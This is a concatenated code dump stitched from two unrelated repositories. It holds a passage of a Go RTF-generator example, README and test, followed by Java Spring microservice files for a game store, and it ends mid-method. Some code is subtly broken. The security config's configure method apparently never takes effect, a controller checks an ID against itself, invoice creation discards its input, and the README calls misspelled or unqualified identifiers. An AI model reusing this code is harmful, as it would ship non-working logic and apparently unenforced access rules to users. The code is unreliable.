p = dc.AddParagraph()
f, err := ioutil.ReadFile("pic.jpg")
if err != nil {
fmt.Println(err)
}
p.AddPicture(f, rtfdoc.ImageFormatJpeg)
p.SetAlign(rtfdoc.AlignCenter)
pPic := d.AddParagraph()
pPic.AddPicture(f, rtfdoc.ImageFormatJpeg)
pPic.SetAlign(rtfdoc.AlignCenter)
// pic.SetWidth(200).SetHeight(150)
fmt.Println(string(d.Export()))
}
<file_sep>/README.md
# RTF Generator
Generates rtf documents
## Installation
``go get -u github.com/therox/rtf-doc``
## Usage
Import package
import rtfdoc "github.com/therox/rtf-doc"
Create new document instance
d := rtfdoc.NewDocument()
Setting up header information. First set up color table
Set document orientation
d.SetOrientation(rtfdoc.OrientationPortrait)
and document format
d.SetFormat(rtfdoc.FormatA4)
Add first paragraph with string with Times New Roman font ("tnr" as we defined earlier)
p := d.AddParagraph()
p.AddText("Green first string (Times New Roman)", 48, rtfdoc.FontTimesNewRoman, rtfdoc.ColorGreen)
Add more colourful text
d.AddParagraph().AddText("Blue second string (Arial)", 48, rtfdoc.FontArial, rtfdoc.ColorBlue)
d.AddParagraph().AddText("Red Third string (Comic Sans)", 48, rtfdoc.FontComicSansMS, rtfdoc.ColorRed)
Add table
t := d.AddTable()
t.SetMarginLeft(50).SetMarginRight(50).SetMarginTop(50).SetMarginBottom(50)
t.SetWidth(10000)
Add first row to table
tr := t.AddTableRow()
Get slice of cell widths for current row
cWidth := t.GetTableCellWidthByRatio(1, 3)
First cell
dc := tr.AddDataCell(cWidth[0])
will be vertical for 2 rows
dc.SetVerticalMergedFirst()
Add some text to it
p = dc.AddParagraph()
p.AddText("Blue text with cyrillic support with multiline", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlue)
p.AddNewLine()
Add cyrillic (unicode) text
p.AddText("Голубой кириллический текст с переносом строки внутри параграфа", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlue)
Set aligning for last paragraph
p.SetAlignt(rtfdoc.AlignJustify)
And one more paragraph
p = dc.AddParagraph()
p.AddText("Another paragraph in vertical cell", 16, rtfdoc.FontComicSansMS, ColorBlue)
with custom indent
p.SetIndentFirstLine(40)
and central aligning
p.SetAlignt(rtfdoc.AlignCenter)
Add last cell for current row
dc = tr.AddDataCell(cWidth[1])
p = dc.AddParagraph().SetAlignt(rtfdoc.AlignCenter)
p.AddText("Green text In top right cell with center align", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorGreen)
Second row
tr = t.AddTableRow()
with 3 cells
cWidth = t.GetTableCellWidthByRatio(1, 1.5, 1.5)
first of which is merged with first cell of the first row
dc = tr.AddDataCell(cWidth[0])
dc.SetVerticalMergedNext()
Second cell
dc = tr.AddDataCell(cWidth[1])
p = dc.AddParagraph().SetAlignt(rtfdoc.AlignRight)
txt := p.AddText("Red text In bottom central cell with right align", 16, rtfdoc.FontArial, rtfdoc.ColorRed)
with bold emphasis
txt.SetBold()
Third cell
dc = tr.AddDataCell(cWidth[2])
p = dc.AddParagraph().SetAlignt(rtfdoc.AlignLeft)
txt = p.AddText("Black text in bottom right cell with left align", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlack)
with italic emphasis
txt.SetItalic()<file_sep>/examples_test.go
package rtfdoc_test
import (
"fmt"
rtfdoc "github.com/therox/rtf-doc"
)
func ExampleDocument() {
doc := rtfdoc.NewDocument()
doc.AddParagraph().SetAlign(rtfdoc.AlignCenter).AddText("Hello, world!", 14, rtfdoc.FontTimesNewRoman, rtfdoc.ColorAqua)
bs := doc.Export()
fmt.Println(string(bs))
}
| 02d5c70edc377e4f2e992bb6f374181adf09a542 | [
"Go",
"Go Module",
"Markdown"
] | 5 | Go Module | ondrejholecek/rtf-doc | 7b49d419a781c8bead8d9743958d1a558e121a13 | 8b107430d92490af88fd46c9388fc621a0bd5f5f |
refs/heads/master | <repo_name>GameStore-org/Cloud-Native-Game-Store-Project<file_sep>/product-service/src/test/java/com/trilogyed/productservice/service/ServiceLayerTest.java
package com.trilogyed.productservice.service;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
public class ServiceLayerTest {
@Before
public void setUp() throws Exception {
}
@Test
public void updateProduct() {
}
@Test
public void getAllProducts() {
}
}<file_sep>/retail-api-service/src/main/java/com/trilogyed/retailapiservice/util/feign/InventoryClient.java
package com.trilogyed.retailapiservice.util.feign;
import com.trilogyed.retailapiservice.model.Inventory;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import java.util.List;
@FeignClient(name = "inventory-service")
public interface InventoryClient {
@GetMapping(value = "/inventory")
List<Inventory> getAllInventory();
@GetMapping(value = "/inventory/{id}")
Inventory getInventory(@PathVariable int id);
}
<file_sep>/admin-api/admin-api/src/main/java/com/trilogyed/adminapi/service/CustomerService.java
package com.trilogyed.adminapi.service;
import com.trilogyed.adminapi.model.Customer;
import com.trilogyed.adminapi.model.LevelUp;
import com.trilogyed.adminapi.util.feign.CustomerClient;
import com.trilogyed.adminapi.util.feign.LevelUpClient;
import com.trilogyed.adminapi.viewModels.CustomerViewModel;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.transaction.annotation.Transactional;
import java.time.LocalDate;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
@Component
public class CustomerService {
private CustomerClient customerClient;
private LevelUpClient levelUpClient;
@Autowired
public CustomerService(CustomerClient customerClient, LevelUpClient levelUpClient){
this.customerClient=customerClient;
this.levelUpClient=levelUpClient;
}
@Transactional
public CustomerViewModel createCustomer(Customer customer)
{
customer = customerClient.createCustomer(customer);
LevelUp levelUp = new LevelUp();
levelUp.setCustomerId(customer.getCustomerId());
levelUp.setPoints(0);
levelUp.setMemberDate(LocalDate.now());
levelUp = levelUpClient.createLevelUp(levelUp);
return buildCustomerViewModel(customer);
}
public CustomerViewModel getCustomer(Integer customerId){
Customer customer = customerClient.getCustomer(customerId);
return buildCustomerViewModel(customer);
}
public List<CustomerViewModel> getAllCustomers() {
List<CustomerViewModel> cvmList = new ArrayList<>();
List<Customer> customers = customerClient.getAllCustomers();
customers.stream().forEach(customer ->
{
CustomerViewModel cvm = buildCustomerViewModel(customer);
cvmList.add(cvm);
});
return cvmList;
}
public void updateCustomer(CustomerViewModel cvm){
Customer customer = customerClient.getCustomer(cvm.getCustomerId());
customer.setFirstName(cvm.getFirstName());
customer.setLastName(cvm.getLastName());
customer.setStreet(cvm.getStreet());
customer.setCity(cvm.getCity());
customer.setZip(cvm.getZip());
customer.setEmail(cvm.getEmail());
customer.setPhone(cvm.getPhone());
customerClient.updateCustomer(customer.getCustomerId(),customer);
List<LevelUp> levelUpList = levelUpClient.getAllLevelUpsByCustomerId(customer.getCustomerId());
LevelUp levelUp = deleteExtraLevelUps(levelUpList);
levelUp.setPoints(cvm.getPoints());
levelUpClient.updateLevelUp(levelUp, levelUp.getLevelUpId());
}
public void deleteCustomer(Integer customerId)
{
levelUpClient.deleteLevelUp(customerId);
customerClient.deleteCustomer(customerId);
}
public void deleteLevelUpByLevelUpId(Integer levelUpId){
levelUpClient.deleteLevelUp(levelUpId);
}
//helper method
public CustomerViewModel buildCustomerViewModel(Customer customer)
{
if (customer==null) return null;
List<LevelUp> levelUpList = levelUpClient.getAllLevelUpsByCustomerId(customer.getCustomerId());
LevelUp levelUp = deleteExtraLevelUps(levelUpList);
CustomerViewModel cvm = new CustomerViewModel();
cvm.setCustomerId(customer.getCustomerId());
cvm.setFirstName(customer.getFirstName());
cvm.setLastName(customer.getLastName());
cvm.setStreet(customer.getStreet());
cvm.setCity(customer.getCity());
cvm.setZip(customer.getZip());
cvm.setEmail(customer.getEmail());
cvm.setPhone(customer.getPhone());
cvm.setLevelUpId(levelUp.getLevelUpId());
cvm.setPoints(levelUp.getPoints());
cvm.setMemeberDate(levelUp.getMemberDate());
return cvm;
}
// One customer can have only one points Id */
public LevelUp deleteExtraLevelUps(List<LevelUp> levelUpList){
Comparator<LevelUp> maximumId = Comparator.comparing(LevelUp::getLevelUpId);
Comparator<LevelUp> minimumMemberDate = Comparator.comparing((LevelUp::getMemberDate));
LevelUp maximumIdLevelUp = levelUpList.stream()
.max(maximumId)
.get();
LevelUp minMemberDateLevelUp = levelUpList.stream()
.min(minimumMemberDate)
.get();
maximumIdLevelUp.setMemberDate(minMemberDateLevelUp.getMemberDate());
for (LevelUp level: levelUpList)
{
if(level.getLevelUpId()!=maximumIdLevelUp.getLevelUpId())
{
maximumIdLevelUp.setPoints(maximumIdLevelUp.getPoints()+level.getPoints());
levelUpClient.deleteLevelUp(level.getLevelUpId());
}
}
levelUpClient.updateLevelUp(maximumIdLevelUp, maximumIdLevelUp.getLevelUpId());
return maximumIdLevelUp;
}
}
<file_sep>/level-up-queue-consumer/src/main/java/com/trilogyed/levelupqueueconsumer/util/feign/LevelUpClient.java
package com.trilogyed.levelupqueueconsumer.util.feign;
import com.trilogyed.levelupqueueconsumer.util.messages.LevelUp;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
@FeignClient(name = "level-up-service")
public interface LevelUpClient {
@PostMapping(value = "/levelups")
LevelUp addLevelUp(@RequestBody LevelUp levelUp);
@PutMapping(value = "/levelups/{id}")
void updateLevelUp(@PathVariable("id") int id, @RequestBody LevelUp levelUp);
}
<file_sep>/inventory-service/src/main/resources/bootstrap.properties
spring.application.name = inventory-service
spring.cloud.config.uri = http://localhost:9999<file_sep>/retail-api-service/src/main/java/com/trilogyed/retailapiservice/model/InvoiceViewModelResponse.java
package com.trilogyed.retailapiservice.model;
import java.util.Objects;
public class InvoiceViewModelResponse extends InvoiceViewModel {
int points;
public InvoiceViewModelResponse() {
}
public InvoiceViewModelResponse(int points) {
this.points = points;
}
public int getPoints() {
return points;
}
public void setPoints(int points) {
this.points = points;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
if (!super.equals(o)) return false;
InvoiceViewModelResponse that = (InvoiceViewModelResponse) o;
return getPoints() == that.getPoints();
}
@Override
public int hashCode() {
return Objects.hash(super.hashCode(), getPoints());
}
@Override
public String toString() {
return "InvoiceViewModel{" +
"Invoice{" +
"invoiceId=" + invoiceId +
", customerId=" + customerId +
", purchaseDate=" + purchaseDate +
'}' +
"invoiceItems=" + invoiceItems +
'}' +
"InvoiceViewModelResponse{" +
"points=" + points +
'}';
}
}
<file_sep>/invoice-service/src/test/java/com/trilogyed/invoiceservice/dao/InvoiceDaoTest.java
package com.trilogyed.invoiceservice.dao;
import com.trilogyed.invoiceservice.model.Invoice;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import java.time.LocalDate;
import java.util.List;
import static org.junit.Assert.*;
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest
public class InvoiceDaoTest {
@Autowired
InvoiceDao invoiceDao;
@Before
public void setUp() throws Exception {
List<Invoice> invList = invoiceDao.getAllInvoices();
for (Invoice inv : invList) {
invoiceDao.deleteInvoice(inv.getInvoiceId());
}
}
@Test
public void createGetDelete() {
//create-
Invoice inv = new Invoice();
inv.setCustomerId(1);
inv.setPurchaseDate(LocalDate.of(2019, 12, 12));
inv = invoiceDao.createInvoice(inv);
Invoice inv2 = invoiceDao.getInvoice(inv.getInvoiceId());
//checking if the two items are equal
assertEquals(inv, inv2);
//delete
invoiceDao.deleteInvoice(inv.getInvoiceId());
inv2 = invoiceDao.getInvoice(inv.getInvoiceId());
//checking if inv2 is deleted
assertNull(inv2);
}
@Test
public void getAllInvoices() {
Invoice inv = new Invoice();
inv.setCustomerId(1);
inv.setPurchaseDate(LocalDate.of(2019, 12, 12));
inv = invoiceDao.createInvoice(inv);
inv= new Invoice();
inv.setCustomerId(2);
inv.setPurchaseDate(LocalDate.of(2019, 11, 12));
inv = invoiceDao.createInvoice(inv);
List<Invoice> listOfInvoices = invoiceDao.getAllInvoices();
assertEquals(listOfInvoices.size(), 2);
}
@Test
public void updateInvoice() {
Invoice inv = new Invoice();
inv.setCustomerId(1);
inv.setPurchaseDate(LocalDate.of(2019, 12, 12));
inv= invoiceDao.createInvoice(inv);
inv.setCustomerId(4);
inv.setPurchaseDate(LocalDate.of(2019, 12, 8));
invoiceDao.updateInvoice(inv);
Invoice inv2 = invoiceDao.getInvoice(inv.getInvoiceId());
assertEquals(inv, inv2);
}
}
<file_sep>/level-up-queue-consumer/src/main/java/com/trilogyed/levelupqueueconsumer/MessageListener.java
package com.trilogyed.levelupqueueconsumer;
import com.trilogyed.levelupqueueconsumer.util.feign.LevelUpClient;
import com.trilogyed.levelupqueueconsumer.util.messages.LevelUp;
import org.springframework.amqp.rabbit.annotation.RabbitListener;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class MessageListener {
@Autowired
private LevelUpClient client;
@RabbitListener(queues = LevelUpQueueConsumerApplication.QUEUE_NAME)
public void receiveMessage(LevelUp msg) {
System.out.println(msg.toString());
if(msg.getLevelUpId() != 0){
client.updateLevelUp(msg.getLevelUpId(), msg);
System.out.println("=== Update LevelUp ===");
}else {
client.addLevelUp(msg);
System.out.println("=== Create new LevelUp ===");
}
}
}
<file_sep>/admin-api/admin-api/src/main/java/com/trilogyed/adminapi/SecurityConfig.java
package com.trilogyed.adminapi;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.HttpMethod;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;
import javax.sql.DataSource;
@Configuration
public class SecurityConfig {
@Autowired
private DataSource dataSource;
@Autowired
public void configAuthentication(AuthenticationManagerBuilder authBuilder) throws Exception {
PasswordEncoder encoder = new BCryptPasswordEncoder();
authBuilder.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery(
"select username, password, enabled from users where username = ?")
.authoritiesByUsernameQuery(
"select username, authority from authorities where username = ?")
.passwordEncoder(encoder);
}
public void configure(HttpSecurity httpsecurity) throws Exception {
httpsecurity.httpBasic();
httpsecurity.authorizeRequests()
.mvcMatchers(HttpMethod.DELETE, "/*").hasAuthority("ROLE_ADMIN")
.mvcMatchers(HttpMethod.POST, "/*").hasAnyAuthority("ROLE_ADMIN", "ROLE_MANAGER")
.mvcMatchers(HttpMethod.PUT, "/*").hasAnyAuthority("ROLE_ADMIN", "ROLE_MANAGER", "ROLE_TEAMLEAD")
.mvcMatchers(HttpMethod.GET, "/*").hasAnyAuthority("ROLE_ADMIN", "ROLE_MANAGER", "ROLE_TEAMLEAD", "ROLE_EMPLOYEE")
.mvcMatchers(HttpMethod.POST, "/customers/*").hasAnyAuthority("ROLE_ADMIN", "ROLE_MANAGER", "ROLE_TEAMLEAD")
.mvcMatchers(HttpMethod.PUT, "/inventory/*").hasAnyAuthority("ROLE_ADMIN", "ROLE_MANAGER", "ROLE_TEAMLEAD", "ROLE_EMPLOYEE");
// Needed to configure CSRF protection - Spring has CSRF protection enabled by default
httpsecurity
//Enables logout
.logout()
.clearAuthentication(true)
//specifies the url to be called when requesting to be logged out
.logoutRequestMatcher(new AntPathRequestMatcher("/logout"))
//The url the application will redirect to when logout is complete
.logoutSuccessUrl("/allDone")
//specifies the cookies that should be deleted
.deleteCookies("JSESSIONID")
.deleteCookies("XSRF-TOKEN")
//Explains whether or not the HTTP session should be invalidated on logout
.invalidateHttpSession(true);
httpsecurity
//adds csrf support
.csrf()
/* csr is an API - cookiesCsrfTokenRepository is
an implementation CsrfTokenRepository that persists the CSRF token
in a cookie named "XSRF-TOKEN" and reads from the header
"X-XSRF-TOKEN" following the conventions of AngularJS.
When using with AngularJS be sure to use withHttpOnlyFalse().
*/
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
/*
Spring has CSRF protection enabled by default. However, this mechanism uses
custom Http headers to exchange tokens. This isn't ideal for frameworks like Angular
and applications like postman.
- This project has been configured to use cookies to exchange CSRF tokens
*/
}
}
<file_sep>/level-up-queue-consumer/src/main/resources/application.properties
spring.application.name=level-up-queue-consumer
spring.cloud.config.uri=http://localhost:9999<file_sep>/invoice-service/src/main/java/com/trilogyed/invoiceservice/service/ServiceLayer.java
package com.trilogyed.invoiceservice.service;
import com.trilogyed.invoiceservice.dao.InvoiceDao;
import com.trilogyed.invoiceservice.dao.InvoiceItemDao;
import com.trilogyed.invoiceservice.model.Invoice;
import com.trilogyed.invoiceservice.model.InvoiceItem;
import com.trilogyed.invoiceservice.viewModel.InvoiceViewModel;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.transaction.annotation.Transactional;
import java.util.ArrayList;
import java.util.List;
@Component
public class ServiceLayer {
InvoiceDao invoiceDao;
InvoiceItemDao invoiceItemDao;
//dependency injection
@Autowired
public ServiceLayer(InvoiceDao invoiceDao, InvoiceItemDao invoiceItemDao){this.invoiceDao=invoiceDao; this.invoiceItemDao=invoiceItemDao;}
//creating invoice
@Transactional
public InvoiceViewModel createInvoice(InvoiceViewModel ivm) {
Invoice inv = new Invoice();
inv.setCustomerId(ivm.getCustomerId());
inv.setPurchaseDate(ivm.getPurchaseDate());
inv = invoiceDao.createInvoice(inv);
for (InvoiceItem item : ivm.getInvoiceItems()) {
InvoiceItem invoiceItem = new InvoiceItem();
invoiceItem.setQuantity(item.getQuantity());
invoiceItem.setInvoiceId(inv.getInvoiceId());
invoiceItem.setUnitPrice(item.getUnitPrice());
invoiceItem.setInventoryId(item.getInventoryId());
invoiceItemDao.createInvoiceItem(invoiceItem);
}
return buildInvoiceViewModel(inv);
}
//get invoice
public InvoiceViewModel getInvoice(int invoiceId) {
Invoice inv = invoiceDao.getInvoice(invoiceId);
return buildInvoiceViewModel(inv);
}
// get all invoices
public List<InvoiceViewModel> getAllInvoices() {
List<InvoiceViewModel> ivmList = new ArrayList<>();
for (Invoice inv : invoiceDao.getAllInvoices()) {
ivmList.add(buildInvoiceViewModel(inv));
}
return ivmList;
}
// get invoices by customer id
public List<InvoiceViewModel> getInvoicesByCustomerId(int customerId) {
List<InvoiceViewModel> ivmList = new ArrayList<>();
for (Invoice inv : invoiceDao.getInvoicesByCustomerId(customerId)) {
ivmList.add(buildInvoiceViewModel(inv));
}
return ivmList;
}
// updating invoice
public void updateInvoice(InvoiceViewModel ivm, int invoiceId) {
Invoice inv = new Invoice();
inv.setInvoiceId(invoiceId);
inv.setCustomerId(ivm.getCustomerId());
inv.setPurchaseDate(ivm.getPurchaseDate());
invoiceDao.updateInvoice(inv);
for(InvoiceItem item: ivm.getInvoiceItems()){
InvoiceItem invoiceItem = new InvoiceItem();
invoiceItem.setQuantity(item.getQuantity());
invoiceItem.setInvoiceId(inv.getInvoiceId());
invoiceItem.setUnitPrice(item.getUnitPrice());
invoiceItem.setInventoryId(item.getInventoryId());
invoiceItemDao.createInvoiceItem(invoiceItem);
}
}
//delete invoice
public void deleteInvoice( int invoiceId){
invoiceDao.deleteInvoice(invoiceId);
}
//helper method
private InvoiceViewModel buildInvoiceViewModel(Invoice invoice) {
InvoiceViewModel ivm = new InvoiceViewModel();
ivm.setInvoiceId(invoice.getInvoiceId());
ivm.setCustomerId(invoice.getCustomerId());
ivm.setPurchaseDate(invoice.getPurchaseDate());
ivm.setInvoiceItems(invoiceItemDao.getInvoiceItemsByInvoiceId(invoice.getInvoiceId()));
return ivm;
}
}
<file_sep>/invoice-service/src/test/java/com/trilogyed/invoiceservice/service/ServiceLayerTest.java
package com.trilogyed.invoiceservice.service;
import org.junit.Test;
import static org.junit.Assert.*;
public class ServiceLayerTest {
@Test
public void getAllInvoices() {
}
@Test
public void getInvoicesByCustomerId() {
}
@Test
public void updateInvoice() {
}
}<file_sep>/config-server/config-server/src/main/resources/application.properties
server.port=9999
spring.cloud.config.server.git.uri=https://github.com/GameStore-org/Cloud-Native-Game-Store-Project.git
<file_sep>/invoice-service/src/main/resources/bootstrap.properties
spring.application.name = invoice-service
spring.cloud.config.uri = http://localhost:9999<file_sep>/admin-api/admin-api/src/main/java/com/trilogyed/adminapi/service/InvoiceService.java
package com.trilogyed.adminapi.service;
import com.trilogyed.adminapi.model.Customer;
import com.trilogyed.adminapi.model.Inventory;
import com.trilogyed.adminapi.model.Invoice;
import com.trilogyed.adminapi.model.InvoiceItem;
import com.trilogyed.adminapi.util.feign.CustomerClient;
import com.trilogyed.adminapi.util.feign.InventoryClient;
import com.trilogyed.adminapi.util.feign.InvoiceClient;
import com.trilogyed.adminapi.util.feign.ProductClient;
import com.trilogyed.adminapi.viewModels.CustomerViewModel;
import com.trilogyed.adminapi.viewModels.InvoiceItemViewModel;
import com.trilogyed.adminapi.viewModels.InvoiceViewModel;
import org.springframework.transaction.annotation.Transactional;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.List;
public class InvoiceService {
private InvoiceClient invoiceClient;
private ProductClient productClient;
private InventoryClient inventoryClient;
private CustomerService customerService;
public InvoiceService(InvoiceClient invoiceClient,ProductClient productClient, InventoryClient inventoryClient, CustomerService customerService){
this.invoiceClient=invoiceClient;
this.productClient=productClient;
this.inventoryClient=inventoryClient;
this.customerService= customerService;
}
@Transactional
public InvoiceViewModel createInvoice(InvoiceViewModel ivm){
List<InvoiceItem> itList = ivm.getInvoiceItemList();
List<InvoiceItem> iiList = new ArrayList<>();
InvoiceViewModel invoice=new InvoiceViewModel();
invoice.setInvoiceId(ivm.getInvoiceId());
for (InvoiceItem it : itList) {
Inventory inventory = inventoryClient.getInventory(it.getInventoryId());
if (it.getQuantity() <= inventory.getQuantity()) {
ivm = invoiceClient.createInvoice(invoice);
}
}
return buildInvoiceViewModel(ivm);
}
public InvoiceViewModel getInvoice(int invoiceId){
InvoiceViewModel ivm = invoiceClient.getInvoice(invoiceId);
return buildInvoiceViewModel(ivm);
}
public List<InvoiceViewModel> getAllInvoices(){
List<InvoiceViewModel> ivmList = invoiceClient.getAllInvoices();
List<InvoiceViewModel> bivmList = new ArrayList<>();
for (InvoiceViewModel ivm : ivmList){
ivm=buildInvoiceViewModel(ivm);
bivmList.add(ivm);
};
return bivmList;
}
public List<InvoiceViewModel> getInvoicesByCustomerId(Integer customerId) {
List<InvoiceViewModel> ivmList = invoiceClient.getInvoiceByCustomerId(customerId);
List<InvoiceViewModel> tivmList = new ArrayList<>();
ivmList.stream().forEach(invoiceViewModel ->{
InvoiceViewModel tvm = buildInvoiceViewModel(invoiceViewModel);
tivmList.add(tvm);
});
return tivmList;
}
public void updateInvoiceIncludingInvoiceItems(InvoiceViewModel invoiceViewModel)
{
InvoiceViewModel ivm = invoiceClient.getInvoice(invoiceViewModel.getInvoiceId());
ivm.setCustomerId(invoiceViewModel.getCustomerId());
ivm.setPurchaseDate(invoiceViewModel.getPurchaseDate());
List<InvoiceItem> iivmList = invoiceViewModel.getInvoiceItemList();
List<InvoiceItem> iiList = new ArrayList<>();
invoiceClient.updateInvoice(ivm, ivm.getInvoiceId());
ivm = buildInvoiceViewModel(ivm);
}
public void deleteInvoice(Integer invoiceId) {
invoiceClient.deleteInvoice(invoiceId);
}
// Helper Method - Building the InvoiceViewModel
public InvoiceViewModel buildInvoiceViewModel(InvoiceViewModel ivm){
if (ivm==null) return null;
final BigDecimal[] total = {new BigDecimal("0.00")};
InvoiceViewModel iViewModel = new InvoiceViewModel();
iViewModel.setInvoiceId(ivm.getInvoiceId());
iViewModel.setPurchaseDate(ivm.getPurchaseDate());
List<InvoiceItem> invoiceItemList = ivm.getInvoiceItemList();
List<InvoiceItem> iivmList = new ArrayList<>();
for(InvoiceItem invoiceItem:invoiceItemList){
InvoiceItem iivm = invoiceItem;
iivmList.add(iivm);
}
iViewModel.setInvoiceItemList(iivmList);
// tivm.setTotal(total[0]);
CustomerViewModel cvm = customerService.getCustomer(ivm.getCustomerId());
// cvm.setPoints(calculatePoints(total[0]));
customerService.updateCustomer(cvm);
iViewModel.setCustomerId(cvm.getCustomerId());
return iViewModel;
}
//helper methods
public InvoiceItemViewModel buildInvoiceItemViewModel(InvoiceItem invoiceItem){
InvoiceItemViewModel itvm=new InvoiceItemViewModel();
itvm.setInvoiceItemId(invoiceItem.getInvoiceItemId());
itvm.setInvoiceId(invoiceItem.getInvoiceId());
itvm.setInventoryId(invoiceItem.getInventoryId());
//connect it with the inventory
Inventory inventory= inventoryClient.getInventory(invoiceItem.getInventoryId());
itvm.setQuantity(invoiceItem.getQuantity());
itvm.setUnitPrice(invoiceItem.getUnitPrice());
itvm.setSubtotal(invoiceItem.getUnitPrice().multiply(new BigDecimal(invoiceItem.getQuantity())));
return itvm;
}
}
<file_sep>/admin-api/admin-api/src/main/java/com/trilogyed/adminapi/controller/InvoiceController.java
package com.trilogyed.adminapi.controller;
import com.trilogyed.adminapi.model.Invoice;
import com.trilogyed.adminapi.service.InvoiceService;
import com.trilogyed.adminapi.viewModels.InvoiceViewModel;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cache.annotation.CacheConfig;
import org.springframework.cache.annotation.CacheEvict;
import org.springframework.cache.annotation.CachePut;
import org.springframework.cache.annotation.Cacheable;
import org.springframework.cloud.context.config.annotation.RefreshScope;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import javax.validation.Valid;
import java.util.List;
@RestController
@RefreshScope
@CacheConfig(cacheNames = {"invoices"})
public class InvoiceController {
@Autowired
InvoiceService service;
@CachePut(key = "#result.getInvoiceId()")
@PostMapping("/invoices")
@ResponseStatus(HttpStatus.CREATED)
public InvoiceViewModel addInvoice(@RequestBody InvoiceViewModel ivm){
return service.createInvoice(ivm);
}
@GetMapping("/invoices")
@ResponseStatus(HttpStatus.OK)
public List<InvoiceViewModel> getAllInvoices(){
return service.getAllInvoices();
}
@Cacheable
@GetMapping("/invoices/{id}")
@ResponseStatus(HttpStatus.OK)
public InvoiceViewModel getInvoice(@PathVariable("id") int id){
return service.getInvoice(id);
}
@CacheEvict(key = "#ivm.getInvoiceId()")
@PutMapping("/invoices/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void updateInvoice(@RequestBody @Valid InvoiceViewModel ivm){
if (ivm.getInvoiceId() == 0)
ivm.setInvoiceId(ivm.getInvoiceId());
if (ivm.getInvoiceId() != ivm.getInvoiceId()) {
throw new IllegalArgumentException("ID on path must match the ID in the Invoice object");
}
service.updateInvoiceIncludingInvoiceItems(ivm);
}
@CacheEvict
@DeleteMapping("/invoices/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void deleteInvoice(@PathVariable("id") int id){
service.deleteInvoice(id);
}
@GetMapping("/invoices/customer/{id}")
@ResponseStatus(HttpStatus.OK)
public List<InvoiceViewModel> getInvoiceByCustomerId(@PathVariable("id") int id){
return service.getInvoicesByCustomerId(id);
}
}
<file_sep>/README.md
# Cloud-Native-Game-Store-Project
building a game store web service using microservices
<file_sep>/retail-api-service/src/main/java/com/trilogyed/retailapiservice/controller/RetailApiController.java
package com.trilogyed.retailapiservice.controller;
import com.trilogyed.retailapiservice.model.InvoiceViewModel;
import com.trilogyed.retailapiservice.model.InvoiceViewModelResponse;
import com.trilogyed.retailapiservice.model.Product;
import com.trilogyed.retailapiservice.service.RetailApiService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cache.annotation.CacheConfig;
import org.springframework.cache.annotation.CachePut;
import org.springframework.cache.annotation.Cacheable;
import org.springframework.cloud.context.config.annotation.RefreshScope;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@RestController
@RefreshScope
@CacheConfig(cacheNames = "retail")
public class RetailApiController {
@Autowired
private RetailApiService service;
@Autowired
public RetailApiController(RetailApiService service) {
this.service = service;
}
/**
no cache because points changed frequently
*/
@RequestMapping(value = "/levelups/customerId/{customerId}", method = RequestMethod.GET)
public int getLevelUp(@PathVariable("customerId") int customerId) {
return service.getPoints(customerId);
}
/**
cache the result using invoice id
*/
@CachePut(key = "#result.getInvoiceId()")
@RequestMapping(value = "/invoices", method = RequestMethod.POST)
public InvoiceViewModelResponse addInvoice(@RequestBody InvoiceViewModel ivm) {
return service.addInvoice(ivm);
}
/**
cache the result using invoice id
*/
@Cacheable
@RequestMapping(value = "/invoices/{id}", method = RequestMethod.GET)
@ResponseStatus(HttpStatus.OK)
public InvoiceViewModel getInvoice(@PathVariable("id") int id){
return service.getInvoice(id);
}
/**
no cache because result changed frequently
*/
@RequestMapping(value = "/invoices", method = RequestMethod.GET)
@ResponseStatus(HttpStatus.OK)
public List<InvoiceViewModel> getAllInvoices() {
return service.getAllInvoices();
}
/**
no cache because result changed frequently as invoices added
*/
@RequestMapping(value = "/invoices/customer/{id}", method = RequestMethod.GET)
@ResponseStatus(HttpStatus.OK)
public List<InvoiceViewModel> getInvoiceByCustomerId(@PathVariable("id") int id){
return service.getInvoicesByCustomerId(id);
}
/**
no cache because result changed frequently as inventory modified
*/
@RequestMapping(value = "/products/inventory", method = RequestMethod.GET)
public List<Product> getProductsInInventory() {
return service.getProductsInInventory();
}
/**
cache using product id
*/
@Cacheable
@RequestMapping(value = "/products/{id}", method = RequestMethod.GET)
@ResponseStatus(HttpStatus.OK)
public Product getProduct(@PathVariable int id) {
